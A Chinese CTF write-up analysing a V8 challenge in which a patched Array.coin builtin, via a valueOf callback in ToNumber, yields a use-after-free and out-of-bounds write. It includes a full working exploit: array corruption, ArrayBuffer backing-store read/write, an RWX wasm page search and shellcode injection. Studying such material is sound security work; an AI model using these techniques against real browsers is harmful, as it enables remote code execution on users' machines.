数字经济线下-Browser
这题是数字经济线下赛的一道RealWorld pwn,很久以前就想调来着,一直拖到了现在,期间遇到了一个困扰了很久的问题,可惜后来还是没有解决。最后是看了别的师傅采用的方法来做的,这里记录一下~
环境搭建
在开始分析题目之前得先把环境搭起来,这题没有给出v8的版本,给出的是chromium的commitid,所以我是先把chromium下载下来,然后切换到了题目中给出的f3ee5ef941cb,在该版本下进入到chromium的v8目录下,通过git log
来获取当前版本的v8的commitid,获取到的id为0ec93e0472169794
。然后按照获取v8并编译出来d8的流程即可。
1 | # 该版本的chromium对应的v8的id |
题目分析
分析题目给出的diff文件,可以发现和starctf里面的OOB很类似,这题是给数组新增了一个coin函数,内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
首先判断参数的个数是否为3,除去默认的第0个参数,coin函数中应该需要两个参数。然后将数组的elements保存到局部变量中,接着获取用户输入的第1个参数作为length,第2个参数作为value。最后判断数组的长度是否大于37,是则利用保存在局部变量中的elemets将其第37个元素设置为value的值。
乍一看程序好像没有任何问题,在赋值之前也有判断数组的长度是否大于37,所以对elemets的元素进行赋值的时候应该都是对数组中的元素进行赋值才对!问题就出在Object::ToNumber()
这个函数中,该函数可以通过valueOf触发callback回调,在回调函数中重新设置数组的length,就可以让数组重新分配elements的内存空间。
这会产生什么问题呢?试想如果最开始让数组的长度小于37,回调函数中将其设置为一个大于37的值,这样在判断数组长度的时候是满足大于37这个条件的,但是其中的set操作是对保存在局部变量中的elements进行操作的。由于数组重新分配了elements的空间,所以保存在局部变量中的elements相当于一个已经释放了的指针,对该指针指向的element的第37个元素进行set操作,便是越界写数据!
Object::ToNumber的分析
前面提到漏洞的关键在于Object::ToNumber
能触发回调函数,下面从源码的角度来大致分析它是在什么地方触发回调函数的,由于没看过v8的源码,所以这里也只是大致的翻一下源码,如果有错的地方还请大佬们指正。
在vscode中全局搜索Object::ToNumber
,找到之后用Go to Definition
找到其定义的地方,该函数判断input是否是Number,是则将input返回,否则调用ConvertToNumberOrNumeric
函数
1 | // static |
跟进ConvertToNumberOrNumeric
,该函数是一个while循环,依次判断input是否属于Number、String、Oddball、Symbol以及BigInt。如果是则调用对应类的ToNumber函数,都不是则调用最后的JSReceiver::ToPrimitive
函数,经过JSReceiver::ToPrimitive
函数处理的结果将保存到input中,经while循环再次判断input是否是Number、String等。
1 | // static |
继续跟进JSReceiver::ToPrimitive
,会发现这个函数中出现了我们所期望的内容。通过Object::GetMethod
从参数receiver中获取一个函数,如果跟进Object::GetMethod
也会发现它调用了JSReceiver::GetProperty
从receiver中获取属性信息,判断其是否是可以调用的函数isCallable()
,并将其返回。最后会用Execution::Call
来调用获取到的函数,这应该就是前面提到的调用回调函数的地方了!
1 | // static |
漏洞利用-1
经过前面的分析,知道可以在ToNumber的回调中增加数组的长度来让其重新分配空间造成一个UAF,如果数组开始的长度小于37的话将会发生越界写。如果越界写的刚好是另一个数组的长度字段,那就有一个很大的数组越界了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
// 回调函数,新申请一个数组,并重新设置数组长度为0x100
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
// 会将victim的数组长度覆盖为一个很大的值
array.coin(length,val);
有了数组的越界,按照OOB的利用思路,实现addressOf,通过修改ArrayBuffer的backingstore实现任意地址读写。然后查找wasm的rwx段所在地址,写入shellcode应该就可以实现利用:1
2
3
4
5
6
7var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));
但是在这个过程中遇到了一个问题,就是在查找rwx段地址的时候需要多次任意地址读,当我在第二次读的时候便会触发如下所示的错误:
一开始以为是我构造的利用有问题,但是尝试了几次之后发现并没有得到解决,也尝试过换一套模板,但只要是第二次任意地址读就会导致异常。后来又怀疑是因为JIT优化导致的问题,对同一个ArrayBuffer的backingstore写两次会触发异常,那么对不同的ArrayBuffer写会不会解决这个问题呢?我构造了多个ArrayBuffer,每次写的都是不同的ArrayBuffer,但还是一样的问题!
漏洞利用-2
后来看了别的师傅的文章,看到了另外一种利用方式,发现没有出现上面遇到的问题。这个方法的本质是在内存中搜索rwx的地址,大致过程如下:
首先构造如下的对象:1
2
3
4
5
6
7let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
var vicobj={marker: 1111222233334444, obj: f}
%DebugPrint(vicobj);
readline();
调试可以得知f的地址:
1 | # vicobj的地址 |
此时rwx段所在地址为:
1 | gdb-peda$ vmmap |
尝试在f所在地址的一定范围内搜索rwx的部分地址0x2883ffb0
,确实搜到了一处地方,经验证,该处存放的值就是rwx段的起始地址:
1 | gdb-peda$ find 0x2883ffb0 0x0000231280aa1000 0x0000231280aa3000 |
至此,整个利用思路就清楚了。首先利用数组越界读可获取到f对象的地址,然后把ArrayBuffer的backingstore修改为该地址附近的值,使用dataview.getFloat64()
结合偏移可搜索出来rwx段的起始地址,然后将ArrayBuffer的backingstore修改为rwx的起始地址,写入shellcode即可。
完整的利用代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
var vicobj={marker: 1111222233334444, obj: f}
var victimbuffer=new ArrayBuffer(0x222);
var dataview = new DataView(victimbuffer);
var offset_to_vicobj = 0;
var offset_to_victimbuffer = 0;
for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x430f9534b3e01560n) {
offset_to_vicobj = i +1;
console.log("[+] VictimObj.obj's offset of OOBARR = ",offset_to_vicobj.toString());
break;
}
}
for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x222n) {
offset_to_victimbuffer = i + 1;
console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",offset_to_victimbuffer.toString());
break;
}
}
var wasm_addr = f2i(victim[offset_to_vicobj])-0x189n;
var tmp;
console.log('wasm code: ',hex(wasm_addr));
victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<100;++i){
tmp = f2i(dataview.getFloat64(i*8,true));
if(tmp%0x1000n==0n&&tmp/0x1000n>0x1000n&&((tmp&0x0000ff0000000000n)!=0x7fn)&&(tmp&0xff0000n)){
wasm_addr = tmp;
break;
}
}
console.log('rwx addr: ',hex(wasm_addr));
let shellcode = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];
victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<shellcode.length;++i){
dataview.setUint8(i,shellcode[i]);
// dataview.setFloat64(i*8,i2f(shellcode[i]));
}
f();
}
exploit();